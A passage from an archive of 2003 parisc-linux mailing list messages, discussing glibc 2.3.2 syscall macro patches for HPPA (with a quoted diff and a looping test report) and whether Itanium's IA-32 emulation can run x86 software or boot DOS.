Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Joel Soete <jsoe0708@tiscali.be>,
	Berthold Gunreben <b.gunreben@web.de>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <3E817DB00000012B@ocpmta1.freegates.net>
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (99% Sync Ratio [==========])
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18086

> A grab your last patches and original src from ftp.gnu.org and in your patch
> glibc23-05b-hppa-sysdep, the second hunk was rejected and so I change it

CVS head and it will apply fine.

c.


From - Thu Nov 08 21:27:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.2 patches updated, still no working sysdep-cancel
Date: Wed, 26 Mar 2003 15:17:57 +0100
Lines: 124
Approved: news@gmane.org
Message-ID: <3E817DB0000002C4@ocpmta1.freegates.net>
References: <3E817DB00000012B@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622333 23730 80.91.229.3 (22 Nov 2014 02:12:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:13 +0000 (UTC)
Cc: "Carlos O'Donell" <carlos@baldric.uwo.ca>
To: "Berthold Gunreben" <b.gunreben@web.de>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 26 07:18:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 30CEE482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Mar 2003 07:18:10 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18yBj3-0005GW-00; Wed, 26 Mar 2003 15:17:57 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 26 Mar 2003 15:17:57 +0100
In-Reply-To: <3E817DB00000012B@ocpmta1.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18087

Hi Carlos,
>
>A grab your last patches and original src from ftp.gnu.org and in your patch
>glibc23-05b-hppa-sysdep, the second hunk was rejected and so I change it
>as follow:
>=====
>--- glibc-2.3.2/sysdeps/unix/sysv/linux/hppa/sysdep.h.orig	2002-08-26 23:16:19.000000000
>+0200
>+++ glibc-2.3.2/sysdeps/unix/sysv/linux/hppa/sysdep.h	2003-03-26 12:41:50.000000000
>+0100
>@@ -101,20 +101,27 @@
>    which means
> 	ENTRY(name)
> 	DO_CALL(...)
>-	nop
> 	bv 0(2)
> 	nop
> */
> 
> #define	PSEUDO(name, syscall_name, args)				      \
>   ENTRY (name)								      \
>-  DO_CALL(syscall_name, args)					ASM_LINE_SEP  \
>-  nop
>+  DO_CALL(syscall_name, args)					ASM_LINE_SEP 
> 
> #undef	PSEUDO_END
> #define	PSEUDO_END(name)						      \
>   END (name)
> 
>+#define	PSEUDO_NOERRNO(name, syscall_name, args)			      \
>+  ENTRY (name)								      \
>+  DO_CALL_NOERRNO(syscall_name, args)				ASM_LINE_SEP 
>+
>+#undef	PSEUDO_END_NOERRNO
>+#define	PSEUDO_END_NOERRNO(name)					      \
>+  END (name)
>+ 
>+#undef JUMPTARGET
> #define JUMPTARGET(name)	name
> #define SYSCALL_PIC_SETUP	/* Nothing.  */
> 
>@@ -165,6 +172,13 @@
> 0:						ASM_LINE_SEP	\
> 	UNDOARGS_##args
> 
>+#undef	DO_CALL_NOERRNO
>+#define DO_CALL_NOERRNO(syscall_name, args)			\
>+	DOARGS_##args						\
>+	ble  0x100(%sr2,%r0)			ASM_LINE_SEP	\
>+	ldi SYS_ify (syscall_name), %r20	ASM_LINE_SEP	\
>+	UNDOARGS_##args
>+
> #define DOARGS_0 /* nothing */
> #define DOARGS_1 /* nothing */
> #define DOARGS_2 /* nothing */
>@@ -183,7 +197,7 @@
> #define UNDOARGS_5 /* nothing */
> #define UNDOARGS_6 /* nothing */
> 
>-#else
>+#else /* !__ASSEMBLER__ */
> 
> #undef INLINE_SYSCALL
> #define INLINE_SYSCALL(name, nr, args...)	({		\
>@@ -206,6 +220,35 @@
> 	__sys_res;						\
> })
> 
>+#undef INTERNAL_SYSCALL_DECL
>+#define INTERNAL_SYSCALL_DECL(err) do { } while (0)
>+
>+#undef INTERNAL_SYSCALL_ERROR_P
>+#define INTERNAL_SYSCALL_ERROR_P(val, err) \
>+  ((unsigned long) (val) >= -4095L)
>+
>+#undef INTERNAL_SYSCALL_ERRNO
>+#define INTERNAL_SYSCALL_ERRNO(val, err)        (-(val))
>+
>+/* Similar to INLINE_SYSCALL but we don't set errno */
>+#undef INTERNAL_SYSCALL
>+#define INTERNAL_SYSCALL(name, err, nr, args...) 		\
>+({								\
>+	long __sys_res;						\
>+	{							\
>+		register unsigned long __res asm("r28");	\
>+		LOAD_ARGS_##nr(args)				\
>+		asm volatile(					\
>+			"ble  0x100(%%sr2, %%r0)\n\t"		\
>+			" ldi %1, %%r20"			\
>+			: "=r" (__res)				\
>+			: "i" (SYS_ify(name)) ASM_ARGS_##nr	\
>+			);					\
>+		__sys_res = __res;				\
>+	}							\
>+	__sys_res;						\
>+ })
>+
> #define LOAD_ARGS_0()
> #define LOAD_ARGS_1(r26)					\
> 	register unsigned long __r26 __asm__("r26") = (unsigned long)r26;	\
>=====
>
>Or do I grab bad src?
>

Well that help me to complet the rebuild of libc6; excepted that at one moment
I had to kill a 'tst-cancel-stat' because it was eating 99% of cpu usage.
As it was evidently looping, strace -p 31611 shows me hundred of thousand
messages: kill(31610, SIGRT_1)    =-1 (no such process)

hth,
    Joel

Joel


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.2 patches updated, still no working sysdep-cancel
Date: Wed, 26 Mar 2003 15:21:10 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <3E817DB0000002CD@ocpmta1.freegates.net>
References: <20030326140927.GB2370@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622333 23732 80.91.229.3 (22 Nov 2014 02:12:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:13 +0000 (UTC)
Cc: "Berthold Gunreben" <b.gunreben@web.de>,
	parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 26 07:22:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id ED77A482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Mar 2003 07:22:00 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18yBmB-0000Sj-00; Wed, 26 Mar 2003 15:21:11 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 26 Mar 2003 15:21:10 +0100
In-Reply-To: <20030326140927.GB2370@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18088

>> A grab your last patches and original src from ftp.gnu.org and in your
>patch
>> glibc23-05b-hppa-sysdep, the second hunk was rejected and so I change
it
>
>CVS head and it will apply fine.
>
Ah ok (I didn't though to this)

Thanks,
    Joel

---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.2 patches updated, still no working sysdep-cancel
Date: Wed, 26 Mar 2003 10:07:30 -0500
Lines: 13
Approved: news@gmane.org
Message-ID: <20030326150729.GC2370@systemhalted>
References: <3E817DB00000012B@ocpmta1.freegates.net> <3E817DB0000002C4@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622334 23736 80.91.229.3 (22 Nov 2014 02:12:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 26 08:07:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00045aedab24-CM.cpe.net.cable.rogers.com [24.112.227.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4CAFB482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Mar 2003 08:07:01 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 18yCV0-0002Ql-00; Wed, 26 Mar 2003 10:07:30 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Joel Soete <jsoe0708@tiscali.be>, parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <3E817DB0000002C4@ocpmta1.freegates.net>
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (99% Sync Ratio [==========])
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18089

> I had to kill a 'tst-cancel-stat' because it was eating 99% of cpu usage.
> As it was evidently looping, strace -p 31611 shows me hundred of thousand
> messages: kill(31610, SIGRT_1)    =-1 (no such process)

Yes, I've noticed this, and I'm not sure why it's doing that. It's the
only test that fails this way. The rest just SIGSEGV, which again means
I need to keep debugging the syscall/errno code.

I'll post an update after running some tests on my current patches.
Thanks for trying that out Joel. What hardware are you testing this on?

c.


From - Thu Nov 08 21:27:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: n0ano@n0ano.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [Linux-ia64] Linux, Itanium and PA/RISC
Date: Wed, 26 Mar 2003 09:25:35 -0700
Lines: 37
Approved: news@gmane.org
Message-ID: <20030326162535.GL873__41497.52777671$1416622334$gmane$org@tlaloc.n0ano.com>
References: <001f01c2f1f1$e772d4b0$6620a4d5@tsatec.int> <20030324121037.GI31008@parcelfarce.linux.theplanet.co.uk> <15999.23084.647629.868320@napali.hpl.hp.com> <20030326100746.GA21703@charrue.esiee.fr> <20030326125140.6f2b7f7c.markus.schaber@student.uni-ulm.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622334 23739 80.91.229.3 (22 Nov 2014 02:12:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:14 +0000 (UTC)
Cc: Matthieu Delahaye <m.delahaye@esiee.fr>, davidm@hpl.hp.com,
	willy@debian.org, adriano@satec.es, linux-ia64@linuxia64.org,
	parisc-linux@parisc-linux.org
To: Markus Schaber <markus.schaber@student.uni-ulm.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 26 09:15:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from tlaloc.n0ano.com (unknown [192.216.249.93])
	by dsl2.external.hp.com (Postfix) with ESMTP id 688D5482A
	for <parisc-linux@parisc-linux.org>; Wed, 26 Mar 2003 09:15:37 -0700 (MST)
Original-Received: from tlaloc.n0ano.com (localhost.localdomain [127.0.0.1])
	by tlaloc.n0ano.com (8.12.5/8.12.5) with ESMTP id h2QGPeEd016488;
	Wed, 26 Mar 2003 09:25:40 -0700
Original-Received: (from n0ano@localhost)
	by tlaloc.n0ano.com (8.12.5/8.12.5/Submit) id h2QGPaYC016482;
	Wed, 26 Mar 2003 09:25:36 -0700
X-Authentication-Warning: tlaloc.n0ano.com: n0ano set sender to n0ano@n0ano.com using -f
Content-Disposition: inline
In-Reply-To: <20030326125140.6f2b7f7c.markus.schaber@student.uni-ulm.de>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18090

Well, Itanium's can sort of run any X86 software.

As David was alluding to there are two ways you can boot an Itanium
box, either with an IA32 kernel (a current Pentium based OS) or an
IA64 kernel.

If you boot an IA32 kernel the CPU will behave as an exact Pentium
processor and execute all Pentium code.  The system will be slower
than comparable Pentium processors but it should work exactly the
same.  (Notice that I say `should', I've never done this, there could
be chipset issues, I don't know of anyone who has done this but it
should work.)

If you boot an IA64 kernel then the CPU can execute IA32 user mode
programs.  This means you can't run IA32 device drivers and it also
means you need a fair amount of kernel support in order to run an
IA32 application so the statement `without further software support'
is a little inaccurate.

On Wed, Mar 26, 2003 at 12:51:40PM +0100, Markus Schaber wrote:
>
>...
> 
> However, Itanium chips support X86 Emulation in Hardware, so they can
> run any X86 Software without further software support (however, the
> software is limited to the X86 capabilities regarding Memory Capacity
> etc., and it is _really slow_, every P3/P4/Athlon at the same MHz is
> uncomparable.)
> 
>...

-- 
Don Dugger
"Censeo Toto nos in Kansa esse decisse." - D. Gale
n0ano@n0ano.com
Ph: 303/447-2201


From - Thu Nov 08 21:27:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [Linux-ia64] Linux, Itanium and PA/RISC
Date: Wed, 26 Mar 2003 09:51:08 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20030326165108.GB13845__6359.15445532209$1416622334$gmane$org@dsl2.external.hp.com>
References: <001f01c2f1f1$e772d4b0$6620a4d5@tsatec.int> <20030324121037.GI31008@parcelfarce.linux.theplanet.co.uk> <15999.23084.647629.868320@napali.hpl.hp.com> <20030326100746.GA21703@charrue.esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622334 23740 80.91.229.3 (22 Nov 2014 02:12:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:14 +0000 (UTC)
Cc: davidm@hpl.hp.com, Matthew Wilcox <willy@debian.org>,
	Adriano Galano <adriano@satec.es>, linux-ia64@linuxia64.org,
	parisc-linux@parisc-linux.org
To: Matthieu Delahaye <m.delahaye@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 26 09:51:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id EBA9F482A; Wed, 26 Mar 2003 09:51:08 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030326100746.GA21703@charrue.esiee.fr>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18091

On Wed, Mar 26, 2003 at 11:07:46AM +0100, Matthieu Delahaye wrote:
> Is the Intel's firmware freely distributed or it is
> internal only?

"freeley available" in the sense that it comes with every Merced box.

I understood David's posting to mean Mckinley machines are available
with firmware from other vendors (SGI, HP, Intel, IBM?, et al) and
those systems will (likely) not boot Win98. I highly doubt HP ZX1
machines will but haven't tried and probably never will.

grant


From - Thu Nov 08 21:27:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Groessler <cpg@aladdin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [Linux-ia64] Linux, Itanium and PA/RISC
Date: Wed, 26 Mar 2003 18:20:10 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <200303261720.SAA04409__24311.2188917168$1416622335$gmane$org@panther.aladdin.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622335 23743 80.91.229.3 (22 Nov 2014 02:12:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:15 +0000 (UTC)
Cc: adriano@satec.es, davidm@hpl.hp.com, linux-ia64@linuxia64.org,
	markus.schaber@student.uni-ulm.de, m.delahaye@esiee.fr,
	parisc-linux@parisc-linux.org, willy@debian.org
To: n0ano@n0ano.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 26 10:20:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from punt.aladdin.de (punt-2.aladdin.de [212.14.90.2])
	by dsl2.external.hp.com (Postfix) with SMTP id 3F2E1482A
	for <parisc-linux@parisc-linux.org>; Wed, 26 Mar 2003 10:20:31 -0700 (MST)
Original-Received: by punt.aladdin.de; id SAA05531; Wed, 26 Mar 2003 18:34:37 +0100
Original-Received: from panther.ealaddin.org(10.20.1.96) by punt.aladdin.de via smap (3.2)
	id xmaa05527; Wed, 26 Mar 03 18:34:15 +0100
Original-Received: from panther.aladdin.de.aladdin.de (localhost [127.0.0.1])
	by panther.aladdin.de (8.8.7/8.8.7) with ESMTP id SAA04409;
	Wed, 26 Mar 2003 18:20:10 +0100
Original-Lines: 22
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18092

Hi,

On 03/26/2003 09:25:35 AM MST n0ano wrote:
>
>Well, Itanium's can sort of run any X86 software.
>
>As David was alluding to there are two ways you can boot an Itanium
>box, either with an IA32 kernel (a current Pentium based OS) or an
>IA64 kernel.
>
>If you boot an IA32 kernel the CPU will behave as an exact Pentium
>processor and execute all Pentium code.  The system will be slower
>than comparable Pentium processors but it should work exactly the
>same.  (Notice that I say `should', I've never done this, there could
>be chipset issues, I don't know of anyone who has done this but it
>should work.)

Does the ia32 emulation go that far to also emulate 16bit operation,
iow, could one boot DOS?

regards,
chris



From - Thu Nov 08 21:27:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: n0ano@n0ano.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [Linux-ia64] Linux, Itanium and PA/RISC
Date: Wed, 26 Mar 2003 10:56:15 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20030326175615.GN873__581.620066850697$1416622335$gmane$org@tlaloc.n0ano.com>
References: <200303261720.SAA04409@panther.aladdin.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622335 23745 80.91.229.3 (22 Nov 2014 02:12:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:15 +0000 (UTC)
Cc: n0ano@n0ano.com, adriano@satec.es, davidm@hpl.hp.com,
	linux-ia64@linuxia64.org, markus.schaber@student.uni-ulm.de,
	m.delahaye@esiee.fr, parisc-linux@parisc-linux.org, willy@debian.org
To: Christian Groessler <cpg@aladdin.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 26 10:46:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from tlaloc.n0ano.com (unknown [192.216.249.93])
	by dsl2.external.hp.com (Postfix) with ESMTP id B447B482A
	for <parisc-linux@parisc-linux.org>; Wed, 26 Mar 2003 10:46:18 -0700 (MST)
Original-Received: from tlaloc.n0ano.com (localhost.localdomain [127.0.0.1])
	by tlaloc.n0ano.com (8.12.5/8.12.5) with ESMTP id h2QHuOEd019392;
	Wed, 26 Mar 2003 10:56:24 -0700
Original-Received: (from n0ano@localhost)
	by tlaloc.n0ano.com (8.12.5/8.12.5/Submit) id h2QHuFHb019390;
	Wed, 26 Mar 2003 10:56:15 -0700
X-Authentication-Warning: tlaloc.n0ano.com: n0ano set sender to n0ano@n0ano.com using -f
Content-Disposition: inline
In-Reply-To: <200303261720.SAA04409@panther.aladdin.de>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18093

Well, it didn't work when I put in a DOS boot floopy and hit the power
button but there could be some EFI magic need to get that to work on
a BigSur, I don't know.

On Wed, Mar 26, 2003 at 06:20:10PM +0100, Christian Groessler wrote:
>
>...
> 
> Does the ia32 emulation go that far to also emulate 16bit operation,
> iow, could one boot DOS?
> 
> regards,
> chris

-- 
Don Dugger
"Censeo Toto nos in Kansa esse decisse." - D. Gale
n0ano@n0ano.com
Ph: 303/447-2201


From - Thu Nov 08 21:27:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Adriano Galano" <adriano@satec.es>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: [Linux-ia64] Linux, Itanium and PA/RISC
Date: Wed, 26 Mar 2003 18:59:18 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <000b01c2f3c1$6cd7e0c0$6620a4d5__48341.2572568797$1416622335$gmane$org@tsatec.int>
References: <20030326125140.6f2b7f7c.markus.schaber@student.uni-ulm.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622335 23749 80.91.229.3 (22 Nov 2014 02:12:15 GMT)
